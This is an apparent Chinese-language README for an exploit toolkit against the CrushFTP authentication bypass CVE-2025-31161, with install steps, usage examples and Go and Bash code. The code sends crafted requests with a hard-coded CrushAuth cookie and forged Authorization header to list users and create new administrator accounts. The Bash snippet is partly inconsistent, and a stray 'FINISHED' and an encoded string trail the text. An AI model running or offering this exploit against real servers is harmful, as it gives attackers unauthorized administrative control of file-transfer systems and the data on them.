CrushFTP 身份验证绕过漏洞利用工具 (CVE-2025-31161)
这是一个针对 CrushFTP 中发现的 CVE-2025-31161 身份验证绕过漏洞的专业级利用工具包。该漏洞允许未经身份验证的远程攻击者在目标系统上创建新的管理员账户,从而完全控制 CrushFTP 服务器。本项目提供 Go 和 Bash 两种语言的实现,旨在为安全研究人员、渗透测试人员和 CTF 参与者提供一个高效、可靠的漏洞验证与利用工具。
功能特性
- 双语言支持:提供高性能的 Go 版本和便携的 Bash 脚本版本,以适应不同的操作环境。
- 智能漏洞检测:在尝试任何利用操作前,会首先验证目标是否存在漏洞,避免不必要的网络请求和误报。
- 用户枚举:能够列出目标 CrushFTP 服务器上现有的所有用户账户,便于信息收集。
- 未授权用户创建:在确认目标存在漏洞后,可交互式地创建新的管理员账户,实现对系统的未授权访问。
- 灵活的参数配置:支持通过命令行参数指定目标主机、端口和自定义目标用户,简化操作流程。
- 清晰的交互逻辑:工具设计遵循安全实践,只有在确认漏洞存在后,才会提示输入新账户的凭据。
安装指南
系统要求
- Go 版本: 需要 Go 1.16 或更高版本(如果从源代码编译)。
- Bash 版本: 需要 Bash 4.0 或更高版本,以及
curl工具。 - 网络: 目标 CrushFTP 服务器必须可从您的机器访问。
分步安装
1. Go 版本
# 1. 克隆仓库
git clone https://github.com/your-username/CrushFTP-auth-bypass-CVE-2025-31161.git
cd CrushFTP-auth-bypass-CVE-2025-31161
# 2. (可选) 编译 Go 代码为二进制文件
go build -o cve-2025-31161 cve-2025-31161.go
# 3. 直接运行
go run cve-2025-31161.go -h
2. Bash 版本
Bash 脚本无需编译,只需下载并赋予执行权限即可。
# 1. 克隆仓库并进入目录
git clone https://github.com/your-username/CrushFTP-auth-bypass-CVE-2025-31161.git
cd CrushFTP-auth-bypass-CVE-2025-31161
# 2. 赋予脚本执行权限
chmod +x cve-2025-31161.sh
# 3. 运行脚本
./cve-2025-31161.sh -h
使用说明
基础使用示例
1. 检测漏洞 (Go 版本)
cve-2025-31161.go 的代码结构表明,它会自动执行漏洞检测逻辑。虽然 Go 版本未直接提供单独的检测命令,但通过其 checkUserFetch 函数可知,当您尝试任何操作(如 -lu)时,漏洞检测将自动运行。
2. 检测漏洞并枚举用户 (Bash 版本)
# 枚举目标 192.168.1.100 上的用户,如果目标存在漏洞
./cve-2025-31161.sh -t 192.168.1.100 -p 8080 -lu
3. 检测漏洞并创建管理员账户 (Bash 版本)
# 检测目标是否存在漏洞,如果存在,则交互式地提示输入新用户名和密码
./cve-2025-31161.sh -t 192.168.1.100 -au
执行上述命令后,脚本将提示您输入新用户名和密码。
4. 使用 Go 版本创建用户
根据 cve-2025-31161.go 的代码结构,它接受类似的参数:
# 指定目标、端口和用户,并进行交互式创建
./cve-2025-31161 -t 192.168.1.100 -p 443 -tu crushadmin -au
命令行参数
通用参数 (Go & Bash)
| 短参数 | 长参数 | 描述 | 必需 |
|---|---|---|---|
-t | --target_host | 目标 CrushFTP 服务器的主机名或 IP 地址 | 是 |
-p | --port | 目标端口 (默认: 80) | 否 |
-tu | --target_user | 目标用户(在某些利用场景中可能需要,默认: crushadmin) | 否 |
-lu | --list-users | 仅列出目标服务器上的用户 | 否 |
-au | --add-user | 在目标服务器上添加一个新用户(将提示输入用户名和密码) | 否 |
-h | --help | 显示帮助信息 | 否 |
API 概览
本项目是一个命令行工具,没有公开的 API 供其他程序调用。它的核心逻辑围绕发送特制的 HTTP 请求到 CrushFTP 的 /webinterface/function/ 端点,并操作 command=getUserList 等参数,利用硬编码的 Cookie 和 Authorization 头来绕过身份验证。
核心代码
Go 版本核心逻辑 - 漏洞检测与用户枚举
以下是 Go 版本中用于检测漏洞和枚举用户的核心函数。它通过构造特定的 HTTP 请求,并检查返回的状态码和响应体来判断目标是否易受攻击。
// checkUserFetch 向目标发送特制的用户列表请求,以检测漏洞是否存在。
func checkUserFetch(targetHost string, port int) bool {
// 构造利用 URL
userListURL := fmt.Sprintf("http://%s:%d/webinterface/function/?command=getUserList&serverGroup=MainUsers&c2f=wIwV", targetHost, port)
client := &http.Client{
Timeout: 10 * time.Second,
}
req, err := http.NewRequest("GET", userListURL, nil)
if err != nil {
fmt.Println(" [-] Failed to create request")
return false
}
// 硬编码的 Cookie 和 Authorization 头,这是漏洞利用的关键
req.Header.Set("Cookie", "CrushAuth=1758816957058_vuiPVygdYnM1kzYGOs9d3tzIbFWIwV")
req.Header.Set("Authorization", "AWS4-HMAC-SHA256 Credential=crushadmin/")
fmt.Println("[+] Testing user fetch capability...")
resp, err := client.Do(req)
if err != nil {
fmt.Printf(" [-] User fetch failed - Error: %v\n", err)
fmt.Println(" [-] Version not vulnerable")
return false
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
// 验证漏洞:如果状态码为200且响应体包含成功标志,则目标存在漏洞
if resp.StatusCode == 200 && strings.Contains(string(body), "<response_status>OK</response_status>") {
fmt.Println(" [+] User fetch successful - Version appears vulnerable")
return true
}
fmt.Println(" [-] User fetch failed - Version not vulnerable")
return false
}
Bash 版本核心逻辑 - 交互式用户创建
以下是 Bash 版本中用于交互式创建用户的代码段。它在确认漏洞存在后,提示用户输入凭据,并构造最终的攻击请求。
# ... (前续代码,包含漏洞检测函数) ...
# 主逻辑:处理 --add-user 参数
if [ "$ADD_USER" = true ]; then
# 在尝试添加用户前,先确认目标是否存在漏洞
if check_user_fetch "$TARGET_HOST" "$PORT"; then
echo "[+] Target appears vulnerable. Proceeding with user addition."
# 交互式获取新用户名和密码
read -p "Enter new username: " NEW_USER
read -s -p "Enter password: " PASSWORD
echo
# 构造添加用户的 URL (具体参数可能有所不同)
# 此处仅为示例,实际利用需要参考完整的漏洞分析
local url="http://${host}:${port}/webinterface/function/?command=addUser&username=${NEW_USER}&password=${PASSWORD}&c2f=wIwV"
echo "[+] Attempting to add user ${NEW_USER}..."
# 使用 curl 发送最终的攻击请求
response=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Cookie: CrushAuth=1758816957058_vuiPVygdYnM1kzYGOs9d3tzIbFWIwV" \
-H "Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/" \
"$url")
if [ "$response" == "200" ]; then
echo "[+] User ${NEW_USER} added successfully!"
else
echo "[-] Failed to add user. HTTP response code: ${response}"
fi
else
echo "[-] Target is not vulnerable. Exiting."
exit 1
fi
fi
```FINISHED
6HFtX5dABrKlqXeO5PUv/zs9YMFGbXWU3kXLGDSmJbza760JI5tooJ4/qUK3eCQAtzxZyT4KengfDdbro186hw==